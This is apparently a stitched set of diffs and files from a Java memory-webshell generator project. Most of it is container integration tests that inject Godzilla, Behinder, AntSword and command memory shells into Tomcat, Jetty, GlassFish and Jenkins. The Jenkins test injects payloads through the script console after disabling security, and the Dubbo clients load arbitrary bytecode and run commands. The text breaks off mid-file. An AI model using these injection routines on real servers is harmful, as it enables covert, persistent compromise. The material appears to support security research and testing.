import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
/**
* @author ReaJason
* @since 2024/12/4
*/
@Testcontainers
public class Geronimo221Tomcat6ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig
.builder()
.server(Server.Tomcat)
.imageName("reajason/geronimo:2.2.1-tomcat6")
.warFile(ContainerTool.warFile)
.warDeployPath("/opt/geronimo/deploy/app.war")
.pidScript(ContainerTool.javaPid)
.targetJdkVersion(Opcodes.V1_6)
.supportedShellTypes(List.of(
ShellType.FILTER,
ShellType.SERVLET,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.testPackers(List.of(Packers.JSP, Packers.AgentJarWithJDKAttacher))
.probeShellTypes(List.of(
ShellType.FILTER,
ShellType.SERVLET,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE
))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
}
}
@@ -8,6 +8,7 @@ import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
@@ -24,6 +25,7 @@ public class GlassFish7ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish( private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
"reajason/glassfish:7.0.20-jdk17", "reajason/glassfish:7.0.20-jdk17",
"/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war") "/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war")
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
.warFile(warJakartaFile) .warFile(warJakartaFile)
.jakarta(true) .jakarta(true)
.targetJdkVersion(Opcodes.V17) .targetJdkVersion(Opcodes.V17)
@@ -0,0 +1,179 @@
package com.reajason.javaweb.integration.memshell.jenkins;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows;
import net.bytebuddy.jar.asm.Opcodes;
import okhttp3.FormBody;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.RequestBody;
import okhttp3.Response;
import org.apache.commons.lang3.tuple.Pair;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import org.testcontainers.utility.MountableFile;
import java.nio.file.Path;
import java.util.List;
import java.util.Locale;
import java.util.Map;
import static org.hamcrest.CoreMatchers.anyOf;
import static org.hamcrest.CoreMatchers.containsString;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertTrue;
/**
* @author ReaJason
* @since 2024/12/7
*/
@Testcontainers
public class JenkinsJetty12ee9ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig
.builder()
.imageName("jenkins/jenkins:2.492.1")
.env(Map.of("JAVA_OPTS", "-Djenkins.install.runSetupWizard=false"))
.server(Server.Jetty)
.jakarta(true)
.serverVersion("12")
.targetJdkVersion(Opcodes.V17)
.contextPath("")
.healthCheckPath("/login")
.assertLogs(false)
.waitStrategy(Wait.forHttp("/login").forPort(8080))
.supportedShellTypes(List.of(
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_HANDLER
))
.probeShellTypes(List.of(
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_HANDLER
))
.testPackers(List.of(Packers.Groovy))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.enableJspPackerTest(false)
.build();
private static final MountableFile DISABLE_SECURITY_SCRIPT = MountableFile.forHostPath(
Path.of("script", "disable-security.groovy").toAbsolutePath());
private static final OkHttpClient HTTP_CLIENT = new OkHttpClient();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network)
.withCopyToContainer(DISABLE_SECURITY_SCRIPT, "/var/jenkins_home/init.groovy.d/disable-security.groovy");
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Override
protected void runShellInject(ContainerTestConfig config, String shellType, String shellTool, Packers packer) {
String url = getUrl();
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
String shellUrl = urls.getLeft().replace("/test", "/scriptText");
String urlPattern = urls.getRight();
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer);
MemShellResult generateResult = ShellAssertion.generate(urlPattern, config.getServer(), config.getServerVersion(),
shellType, shellTool, config.getTargetJdkVersion(), shellToolConfig, packer);
String payload = packer.getInstance().pack(generateResult.toClassPackerConfig());
injectByScriptText(url, payload);
ShellAssertion.assertShellIsOk(generateResult, shellUrl, shellTool, shellType, getContainer(), getPythonContainer());
}
@Override
protected void runProbeInject(ContainerTestConfig config, String shellType) {
String url = getUrl();
String shellTool = ShellTool.Command;
Packers packer = Packers.Groovy;
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
String shellUrl = urls.getLeft().replace("/test", "/scriptText");
String urlPattern = urls.getRight();
if (urlPattern != null) {
shellUrl += "testProbe";
urlPattern += "testProbe";
}
int probeTargetJdkVersion = config.getProbeTargetJdkVersion() == null
? config.getTargetJdkVersion()
: config.getProbeTargetJdkVersion();
ShellConfig shellConfig = ShellConfig.builder()
.server(config.getServer())
.serverVersion(config.getServerVersion())
.shellType(shellType)
.shellTool(shellTool)
.targetJreVersion(probeTargetJdkVersion)
.debug(false)
.probe(true)
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
.urlPattern(urlPattern)
.staticInitialize(true)
.build();
String paramName = "tomcatProbe" + shellType;
CommandConfig commandConfig = CommandConfig.builder()
.paramName(paramName)
.build();
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig);
String payload = packer.getInstance().pack(generateResult.toClassPackerConfig());
String res = injectByScriptText(url, payload);
assertThat(res, anyOf(
containsString("context: "),
containsString("server: "),
containsString("channel: "),
containsString("namespace: ")
));
ShellAssertion.commandIsOk(shellUrl, shellType, paramName, "id");
}
@SneakyThrows
private String injectByScriptText(String url, String payload) {
RequestBody requestBody = new FormBody.Builder()
.add("script", payload)
.build();
Request request = new Request.Builder()
.header("Content-Type", "application/x-www-form-urlencoded")
.url(url + "/scriptText")
.post(requestBody)
.build();
try (Response response = HTTP_CLIENT.newCall(request).execute()) {
String body = response.body().string();
assertTrue(response.isSuccessful(), "Jenkins scriptText should return 2xx, body: " + body);
assertTrue(isScriptTextResponseOk(body), "Jenkins scriptText should not return a Groovy error, body: " + body);
return body;
}
}
private boolean isScriptTextResponseOk(String body) {
String normalizedBody = body.toLowerCase(Locale.ROOT);
return !normalizedBody.contains("groovy.lang.missing")
&& !normalizedBody.contains("groovy.lang.groovyruntimeexception")
&& !normalizedBody.contains("org.codehaus.groovy.control.multiplecompilationerrorsexception")
&& !normalizedBody.contains("script1.groovy")
&& !normalizedBody.contains("exception");
}
}
@@ -0,0 +1,53 @@
package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
/**
* @author ReaJason
* @since 2024/12/7
*/
@Testcontainers
public class Jetty71ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig
.jetty("reajason/jetty:7.1.6-jdk6")
.warDeployPath("/usr/local/jetty/webapps/app.war")
.serverVersion("7+")
.targetJdkVersion(Opcodes.V1_6)
.supportedShellTypes(List.of(
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.HANDLER,
ShellType.JETTY_AGENT_HANDLER
))
.testPackers(List.of(Packers.JSP))
.probeShellTypes(List.of(
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.HANDLER
))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,35 @@
package com.reajason.javaweb.integration.probe.jetty;
import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest;
import com.reajason.javaweb.integration.probe.ProbeTestConfig;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
/**
* @author ReaJason
* @since 2024/12/7
*/
@Testcontainers
public class Jetty71ContainerTest extends AbstractProbeContainerTest {
private static final ProbeTestConfig CONFIG = ProbeTestConfig
.jettyOld("reajason/jetty:7.1.6-jdk6", "/usr/local/jetty/webapps/app.war")
.expectedJdkVersion("JDK|1.6.0_45|50")
.targetJdkVersion(Opcodes.V1_6)
.build();
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG);
@Override
protected ProbeTestConfig getConfig() {
return CONFIG;
}
@Override
protected GenericContainer<?> getContainer() {
return container;
}
}
+1 -1
Submodule libs updated: 8b7c2ffadf...2afd3b793f
+2 -1
View File
@@ -28,7 +28,7 @@ dependencyResolutionManagement {
rootProject.name = "memshell-party" rootProject.name = "memshell-party"
include("memshell-party-common") include("memshell-party-common")
include("tools:godzilla", "tools:behinder", "tools:suo5", "tools:ant-sword") include("tools:godzilla", "tools:behinder", "tools:suo5", "tools:ant-sword", "tools:command")
include("packer") include("packer")
include("boot") include("boot")
include("generator") include("generator")
@@ -47,6 +47,7 @@ include("vul:vul-springboot359")
include("vul:vul-springboot2-webflux") include("vul:vul-springboot2-webflux")
include("vul:vul-springboot3-webflux") include("vul:vul-springboot3-webflux")
include("vul:vul-playframework") include("vul:vul-playframework")
include("vul:vul-dubbo")
include("memshell-agent:memshell-agent-attacher") include("memshell-agent:memshell-agent-attacher")
include("memshell-agent:memshell-agent-asm") include("memshell-agent:memshell-agent-asm")
include("memshell-agent:memshell-agent-javassist") include("memshell-agent:memshell-agent-javassist")
+96
View File
@@ -0,0 +1,96 @@
plugins {
id("java")
id("idea")
}
group = "io.github.reajason"
version = rootProject.version
val dubboClientCommon: SourceSet by sourceSets.creating
val dubboClientAlibaba: SourceSet by sourceSets.creating
val dubboClientApache: SourceSet by sourceSets.creating
val dubboClientCommonImplementation: Configuration by configurations.getting
val dubboClientAlibabaImplementation: Configuration by configurations.getting
val dubboClientApacheImplementation: Configuration by configurations.getting
val dubboClientCommonOutput = dubboClientCommon.output
dubboClientAlibaba.compileClasspath += dubboClientCommonOutput
dubboClientAlibaba.runtimeClasspath += dubboClientCommonOutput
dubboClientApache.compileClasspath += dubboClientCommonOutput
dubboClientApache.runtimeClasspath += dubboClientCommonOutput
listOf(
"dubboClientApacheCompileClasspath",
"dubboClientApacheRuntimeClasspath"
).forEach { configurationName ->
configurations.named(configurationName) {
exclude(group = "io.netty", module = "netty-transport-native-kqueue")
exclude(group = "io.netty", module = "netty-resolver-dns-native-macos")
}
}
idea {
module {
excludeDirs.add(file("src/main"))
}
}
dependencies {
dubboClientCommonImplementation("org.slf4j:slf4j-api:1.7.36")
dubboClientAlibabaImplementation(dubboClientCommonOutput)
dubboClientAlibabaImplementation("com.alibaba:dubbo:2.6.12")
dubboClientAlibabaImplementation("com.alibaba:hessian-lite:3.2.4")
dubboClientAlibabaImplementation("com.caucho:hessian:4.0.51")
dubboClientAlibabaImplementation("org.apache.httpcomponents:httpclient:4.5.3")
dubboClientAlibabaImplementation("org.springframework:spring-web:5.3.39")
dubboClientAlibabaImplementation("io.netty:netty-all:4.1.25.Final")
dubboClientAlibabaImplementation("org.mortbay.jetty:jetty:6.1.26")
dubboClientAlibabaImplementation("org.mortbay.jetty:jetty-util:6.1.26")
dubboClientAlibabaImplementation("org.slf4j:slf4j-api:1.7.36")
dubboClientAlibabaImplementation("ch.qos.logback:logback-classic:1.2.13")
dubboClientApacheImplementation(dubboClientCommonOutput)
dubboClientApacheImplementation("org.apache.dubbo:dubbo:3.3.6") {
exclude(group = "log4j", module = "log4j")
}
dubboClientApacheImplementation("org.apache.dubbo:dubbo-rpc-triple:3.3.6")
dubboClientApacheImplementation("org.apache.dubbo.extensions:dubbo-rpc-http:3.3.1")
dubboClientApacheImplementation("org.apache.dubbo.extensions:dubbo-rpc-hessian:3.3.0")
dubboClientApacheImplementation("org.apache.dubbo:dubbo-remoting-http:3.3.0-beta.2")
dubboClientApacheImplementation("com.caucho:hessian:4.0.51")
dubboClientApacheImplementation("io.netty:netty-all:4.1.119.Final")
dubboClientApacheImplementation("org.slf4j:slf4j-api:2.0.17")
dubboClientApacheImplementation("ch.qos.logback:logback-classic:1.5.18")
}
tasks.named<JavaCompile>(dubboClientCommon.compileJavaTaskName) {
options.release.set(8)
}
listOf(dubboClientAlibaba, dubboClientApache).forEach { sourceSet ->
tasks.named<JavaCompile>(sourceSet.compileJavaTaskName) {
options.release.set(8)
}
}
tasks.register("dubboClientClasspath") {
group = "verification"
dependsOn(dubboClientAlibaba.classesTaskName, dubboClientApache.classesTaskName)
doLast {
layout.buildDirectory.file("dubbo-client-classpaths/alibaba.txt").get().asFile.apply {
parentFile.mkdirs()
writeText(dubboClientAlibaba.runtimeClasspath.asPath)
}
layout.buildDirectory.file("dubbo-client-classpaths/apache.txt").get().asFile.apply {
parentFile.mkdirs()
writeText(dubboClientApache.runtimeClasspath.asPath)
}
}
}
tasks.named("classes") {
dependsOn(dubboClientCommon.classesTaskName, dubboClientAlibaba.classesTaskName, dubboClientApache.classesTaskName)
}
@@ -0,0 +1,101 @@
package io.github.reajason.dubbo.fixture.client.alibaba;
import com.alibaba.dubbo.common.utils.NetUtils;
import com.alibaba.dubbo.config.ApplicationConfig;
import com.alibaba.dubbo.config.ReferenceConfig;
import com.alibaba.dubbo.config.RegistryConfig;
import com.alibaba.dubbo.rpc.service.GenericService;
import io.github.reajason.dubbo.fixture.api.BytecodeLoadingService;
import io.github.reajason.dubbo.fixture.client.ClientRuntimeSupport;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.nio.charset.StandardCharsets;
public class AlibabaDubboClient {
private static final String LOOPBACK_HOST = "127.0.0.1";
public static void main(String[] args) {
ClientRuntimeSupport.prepareClientJvm();
forceLoopbackLocalAddress();
if (args.length < 1) {
throw new IllegalArgumentException("usage: load-bytes <url> <base64> | run-command <url> <interfaceName> <command>");
}
if ("load-bytes".equals(args[0])) {
if (args.length < 3) {
throw new IllegalArgumentException("usage: load-bytes <url> <base64>");
}
System.out.println(loadBytes(args[1], args[2]));
return;
}
if ("run-command".equals(args[0])) {
if (args.length < 4) {
throw new IllegalArgumentException("usage: run-command <url> <interfaceName> <command>");
}
Object result = runCommand(args[1], args[2], args[3]);
if (result instanceof byte[]) {
System.out.println(new String((byte[]) result, StandardCharsets.UTF_8));
} else {
System.out.println(String.valueOf(result));
}
return;
}
throw new IllegalArgumentException("unsupported action: " + args[0]);
}
public static String loadBytes(String url, String base64) {
ClientRuntimeSupport.prepareClientJvm();
forceLoopbackLocalAddress();
ReferenceConfig<BytecodeLoadingService> reference = new ReferenceConfig<BytecodeLoadingService>();
reference.setApplication(new ApplicationConfig("alibaba-dubbo-load-bytes-client"));
reference.setRegistry(new RegistryConfig("N/A"));
reference.setInterface(BytecodeLoadingService.class);
reference.setCheck(false);
reference.setTimeout(30000);
reference.setRetries(0);
reference.setUrl(url);
BytecodeLoadingService loadingService = reference.get();
try {
return loadingService.loadBytes(base64);
} finally {
reference.destroy();
}
}
public static Object runCommand(String url, String interfaceName, String command) {
ClientRuntimeSupport.prepareClientJvm();
forceLoopbackLocalAddress();
ReferenceConfig<GenericService> reference = new ReferenceConfig<GenericService>();
reference.setApplication(new ApplicationConfig("alibaba-dubbo-command-client"));
reference.setRegistry(new RegistryConfig("N/A"));
reference.setInterface(interfaceName);
reference.setGeneric(true);
reference.setCheck(false);
reference.setTimeout(30000);
reference.setRetries(0);
reference.setUrl(url);
GenericService genericService = reference.get();
try {
return genericService.$invoke(
"handle",
new String[]{byte[].class.getName()},
new Object[]{command.getBytes(StandardCharsets.UTF_8)}
);
} finally {
reference.destroy();
}
}
private static void forceLoopbackLocalAddress() {
try {
Field localAddressField = NetUtils.class.getDeclaredField("LOCAL_ADDRESS");
localAddressField.setAccessible(true);
localAddressField.set(null, InetAddress.getByName(LOOPBACK_HOST));
} catch (Exception ignored) {
// Best-effort workaround for Dubbo 2.6.x local address selection on macOS.
}
}
}
@@ -0,0 +1,83 @@
package io.github.reajason.dubbo.fixture.client.apache;
import io.github.reajason.dubbo.fixture.api.BytecodeLoadingService;
import io.github.reajason.dubbo.fixture.client.ClientRuntimeSupport;
import org.apache.dubbo.config.ApplicationConfig;
import org.apache.dubbo.config.ReferenceConfig;
import org.apache.dubbo.config.RegistryConfig;
import org.apache.dubbo.rpc.service.GenericService;
import java.nio.charset.StandardCharsets;
public class ApacheDubboClient {
public static void main(String[] args) {
ClientRuntimeSupport.prepareClientJvm();
if (args.length < 1) {
throw new IllegalArgumentException("usage: load-bytes <url> <base64> | run-command <url> <interfaceName> <command>");
}
if ("load-bytes".equals(args[0])) {
if (args.length < 3) {
throw new IllegalArgumentException("usage: load-bytes <url> <base64>");
}
System.out.println(loadBytes(args[1], args[2]));
return;
}
if ("run-command".equals(args[0])) {
if (args.length < 4) {
throw new IllegalArgumentException("usage: run-command <url> <interfaceName> <command>");
}
Object result = runCommand(args[1], args[2], args[3]);
if (result instanceof byte[]) {
System.out.println(new String((byte[]) result, StandardCharsets.UTF_8));
} else {
System.out.println(String.valueOf(result));
}
return;
}
throw new IllegalArgumentException("unsupported action: " + args[0]);
}
public static String loadBytes(String url, String base64) {
ClientRuntimeSupport.prepareClientJvm();
ReferenceConfig<BytecodeLoadingService> reference = new ReferenceConfig<BytecodeLoadingService>();
reference.setApplication(new ApplicationConfig("apache-dubbo-load-bytes-client"));
reference.setRegistry(new RegistryConfig("N/A"));
reference.setInterface(BytecodeLoadingService.class);
reference.setCheck(false);
reference.setTimeout(30000);
reference.setRetries(0);
reference.setUrl(url);
BytecodeLoadingService loadingService = reference.get();
try {
return loadingService.loadBytes(base64);
} finally {
reference.destroy();
}
}
public static Object runCommand(String url, String interfaceName, String command) {
ClientRuntimeSupport.prepareClientJvm();
ReferenceConfig<GenericService> reference = new ReferenceConfig<GenericService>();
reference.setApplication(new ApplicationConfig("apache-dubbo-command-client"));
reference.setRegistry(new RegistryConfig("N/A"));
reference.setInterface(interfaceName);
reference.setGeneric(true);
reference.setCheck(false);
reference.setTimeout(30000);
reference.setRetries(0);
reference.setUrl(url);
GenericService genericService = reference.get();
try {
return genericService.$invoke(
"handle",
new String[]{byte[].class.getName()},
new Object[]{command.getBytes(StandardCharsets.UTF_8)}
);
} finally {
reference.destroy();
}
}
}
@@ -0,0 +1,5 @@
package io.github.reajason.dubbo.fixture.api;
public interface BytecodeLoadingService {
String loadBytes(String base64);
}
@@ -0,0 +1,29 @@
package io.github.reajason.dubbo.fixture.client;
public final class ClientRuntimeSupport {
private static final String[] PROXY_PROPERTIES = new String[]{
"proxyHost",
"proxyPort",
"http.proxyHost",
"http.proxyPort",
"https.proxyHost",
"https.proxyPort",
"socksProxyHost",
"socksProxyPort",
"ftp.proxyHost",
"ftp.proxyPort"
};
private ClientRuntimeSupport() {
}
public static void prepareClientJvm() {
System.setProperty("dubbo.compiler", "jdk");
System.setProperty("java.net.preferIPv4Stack", "true");
System.setProperty("java.net.useSystemProxies", "false");
for (String property : PROXY_PROPERTIES) {
System.clearProperty(property);
}
}
}
@@ -187,10 +187,8 @@ public class GodzillaManager implements Closeable {
if (setCookie != null && setCookie.contains("JSESSIONID=")) { if (setCookie != null && setCookie.contains("JSESSIONID=")) {
cookie = setCookie.substring(setCookie.indexOf("JSESSIONID="), setCookie.indexOf(";")); cookie = setCookie.substring(setCookie.indexOf("JSESSIONID="), setCookie.indexOf(";"));
} }
if (response.isSuccessful()) {
return true;
}
System.out.println(response.body().string().trim()); System.out.println(response.body().string().trim());
return true;
} }
} }
if (isWs()) { if (isWs()) {
+240
View File
@@ -0,0 +1,240 @@
plugins {
id("java")
id("idea")
}
group = "io.github.reajason"
version = rootProject.version
val dubboProviderCommon: SourceSet by sourceSets.creating
val dubboProviderAlibaba: SourceSet by sourceSets.creating
val dubboProviderApache276: SourceSet by sourceSets.creating
val dubboProviderApache277: SourceSet by sourceSets.creating
val dubboProviderApache278: SourceSet by sourceSets.creating
val dubboProviderApache2723: SourceSet by sourceSets.creating
val dubboProviderApache336: SourceSet by sourceSets.creating
val dubboProviderCommonImplementation: Configuration by configurations.getting
val dubboProviderAlibabaImplementation: Configuration by configurations.getting
val dubboProviderApache276Implementation: Configuration by configurations.getting
val dubboProviderApache277Implementation: Configuration by configurations.getting
val dubboProviderApache278Implementation: Configuration by configurations.getting
val dubboProviderApache2723Implementation: Configuration by configurations.getting
val dubboProviderApache336Implementation: Configuration by configurations.getting
val dubboProviderCommonOutput = dubboProviderCommon.output
dubboProviderAlibaba.compileClasspath += dubboProviderCommonOutput
dubboProviderAlibaba.runtimeClasspath += dubboProviderCommonOutput
dubboProviderApache276.compileClasspath += dubboProviderCommonOutput
dubboProviderApache276.runtimeClasspath += dubboProviderCommonOutput
dubboProviderApache277.compileClasspath += dubboProviderCommonOutput
dubboProviderApache277.runtimeClasspath += dubboProviderCommonOutput
dubboProviderApache278.compileClasspath += dubboProviderCommonOutput
dubboProviderApache278.runtimeClasspath += dubboProviderCommonOutput
dubboProviderApache2723.compileClasspath += dubboProviderCommonOutput
dubboProviderApache2723.runtimeClasspath += dubboProviderCommonOutput
dubboProviderApache336.compileClasspath += dubboProviderCommonOutput
dubboProviderApache336.runtimeClasspath += dubboProviderCommonOutput
listOf(
"dubboProviderApache336CompileClasspath",
"dubboProviderApache336RuntimeClasspath"
).forEach { configurationName ->
configurations.named(configurationName) {
exclude(group = "io.netty", module = "netty-transport-native-kqueue")
exclude(group = "io.netty", module = "netty-resolver-dns-native-macos")
}
}
idea {
module {
excludeDirs.add(file("src/main"))
}
}
dependencies {
dubboProviderCommonImplementation("org.slf4j:slf4j-api:1.7.36")
dubboProviderCommonImplementation("org.apache.dubbo:dubbo:2.7.23") {
exclude(group = "log4j", module = "log4j")
}
dubboProviderAlibabaImplementation(dubboProviderCommonOutput)
dubboProviderAlibabaImplementation("com.alibaba:dubbo:2.6.12")
dubboProviderAlibabaImplementation("org.apache.dubbo:dubbo:2.7.6")
dubboProviderAlibabaImplementation("com.alibaba:hessian-lite:3.2.4")
dubboProviderAlibabaImplementation("com.caucho:hessian:4.0.51")
dubboProviderAlibabaImplementation("org.apache.httpcomponents:httpclient:4.5.3")
dubboProviderAlibabaImplementation("org.springframework:spring-web:5.3.39")
dubboProviderAlibabaImplementation("io.netty:netty-all:4.1.25.Final")
dubboProviderAlibabaImplementation("org.mortbay.jetty:jetty:6.1.26")
dubboProviderAlibabaImplementation("org.mortbay.jetty:jetty-util:6.1.26")
dubboProviderAlibabaImplementation("org.slf4j:slf4j-api:1.7.36")
dubboProviderAlibabaImplementation("ch.qos.logback:logback-classic:1.2.13")
fun apacheDubbo27Provider(configuration: Configuration, version: String, tomcatVersion: String) {
add(configuration.name, dubboProviderCommonOutput)
add(configuration.name, "org.apache.dubbo:dubbo:$version") {
exclude(group = "log4j", module = "log4j")
}
add(configuration.name, "com.alibaba:hessian-lite:3.2.4")
add(configuration.name, "com.caucho:hessian:4.0.51")
add(configuration.name, "org.apache.httpcomponents:httpclient:4.5.13")
add(configuration.name, "com.github.briandilley.jsonrpc4j:jsonrpc4j:1.2.0")
add(configuration.name, "org.springframework:spring-web:5.3.39")
add(configuration.name, "org.apache.tomcat.embed:tomcat-embed-core:$tomcatVersion")
add(configuration.name, "org.mortbay.jetty:jetty:6.1.26")
add(configuration.name, "org.mortbay.jetty:jetty-util:6.1.26")
add(configuration.name, "org.slf4j:slf4j-api:1.7.36")
add(configuration.name, "ch.qos.logback:logback-classic:1.2.13")
}
apacheDubbo27Provider(dubboProviderApache276Implementation, "2.7.6", "8.5.100")
apacheDubbo27Provider(dubboProviderApache277Implementation, "2.7.7", "8.5.100")
apacheDubbo27Provider(dubboProviderApache278Implementation, "2.7.8", "9.0.104")
apacheDubbo27Provider(dubboProviderApache2723Implementation, "2.7.23", "9.0.104")
dubboProviderApache336Implementation(dubboProviderCommonOutput)
dubboProviderApache336Implementation("org.apache.dubbo:dubbo:3.3.6") {
exclude(group = "log4j", module = "log4j")
}
dubboProviderApache336Implementation("org.apache.dubbo:dubbo-rpc-triple:3.3.6")
dubboProviderApache336Implementation("org.apache.dubbo.extensions:dubbo-rpc-http:3.3.1")
dubboProviderApache336Implementation("org.apache.dubbo.extensions:dubbo-rpc-hessian:3.3.0")
dubboProviderApache336Implementation("org.apache.dubbo:dubbo-remoting-http:3.3.0-beta.2")
dubboProviderApache336Implementation("com.caucho:hessian:4.0.51")
dubboProviderApache336Implementation("io.netty:netty-all:4.1.119.Final")
dubboProviderApache336Implementation("org.slf4j:slf4j-api:2.0.17")
dubboProviderApache336Implementation("ch.qos.logback:logback-classic:1.5.18")
}
tasks.named<JavaCompile>(dubboProviderCommon.compileJavaTaskName) {
options.release.set(8)
}
listOf(
dubboProviderAlibaba,
dubboProviderApache276,
dubboProviderApache277,
dubboProviderApache278,
dubboProviderApache2723,
dubboProviderApache336
).forEach { sourceSet ->
tasks.named<JavaCompile>(sourceSet.compileJavaTaskName) {
options.release.set(8)
}
}
fun registerDubboFatJar(
taskName: String,
sourceSet: SourceSet,
mainClassName: String,
mergeApacheProtocolSpi: Boolean = false
): TaskProvider<Jar> {
val protocolSpiPath = "META-INF/dubbo/internal/org.apache.dubbo.rpc.Protocol"
val mergedProtocolSpi = layout.buildDirectory.file("generated/$taskName/$protocolSpiPath")
val mergeTask = if (mergeApacheProtocolSpi) {
tasks.register("${taskName}MergeProtocolSpi") {
inputs.files(sourceSet.runtimeClasspath)
outputs.file(mergedProtocolSpi)
doLast {
val outputFile = mergedProtocolSpi.get().asFile
outputFile.parentFile.mkdirs()
val mergedLines = linkedSetOf<String>()
sourceSet.runtimeClasspath.files
.filter { it.extension == "jar" }
.forEach { runtimeJar ->
zipTree(runtimeJar).matching {
include(protocolSpiPath)
}.forEach { spiFile ->
spiFile.readLines()
.map(String::trim)
.filter { it.isNotEmpty() && !it.startsWith("#") }
.forEach(mergedLines::add)
}
}
outputFile.writeText(mergedLines.joinToString(System.lineSeparator()))
}
}
} else {
null
}
return tasks.register<Jar>(taskName) {
group = "verification"
archiveClassifier.set(taskName.removePrefix("dubbo").removeSuffix("FatJar").lowercase())
duplicatesStrategy = DuplicatesStrategy.EXCLUDE
dependsOn(sourceSet.classesTaskName, dubboProviderCommon.classesTaskName)
manifest {
attributes["Main-Class"] = mainClassName
}
from(sourceSet.output)
from(dubboProviderCommon.output)
if (mergeApacheProtocolSpi) {
dependsOn(mergeTask)
from({
sourceSet.runtimeClasspath.files
.filter { it.exists() }
.map { if (it.isDirectory) it else zipTree(it) }
}) {
includeEmptyDirs = false
exclude(protocolSpiPath)
}
into("META-INF/dubbo/internal") {
from(mergedProtocolSpi) {
rename { "org.apache.dubbo.rpc.Protocol" }
}
}
} else {
from({
sourceSet.runtimeClasspath.files
.filter { it.exists() }
.map { if (it.isDirectory) it else zipTree(it) }
})
}
}
}
val dubboAlibabaProviderFatJar = registerDubboFatJar(
"dubboAlibabaProviderFatJar",
dubboProviderAlibaba,
"io.github.reajason.dubbo.fixture.alibaba.AlibabaDubbo2Provider"
)
val dubboApache276ProviderFatJar = registerDubboFatJar(
"dubboApache276ProviderFatJar",
dubboProviderApache276,
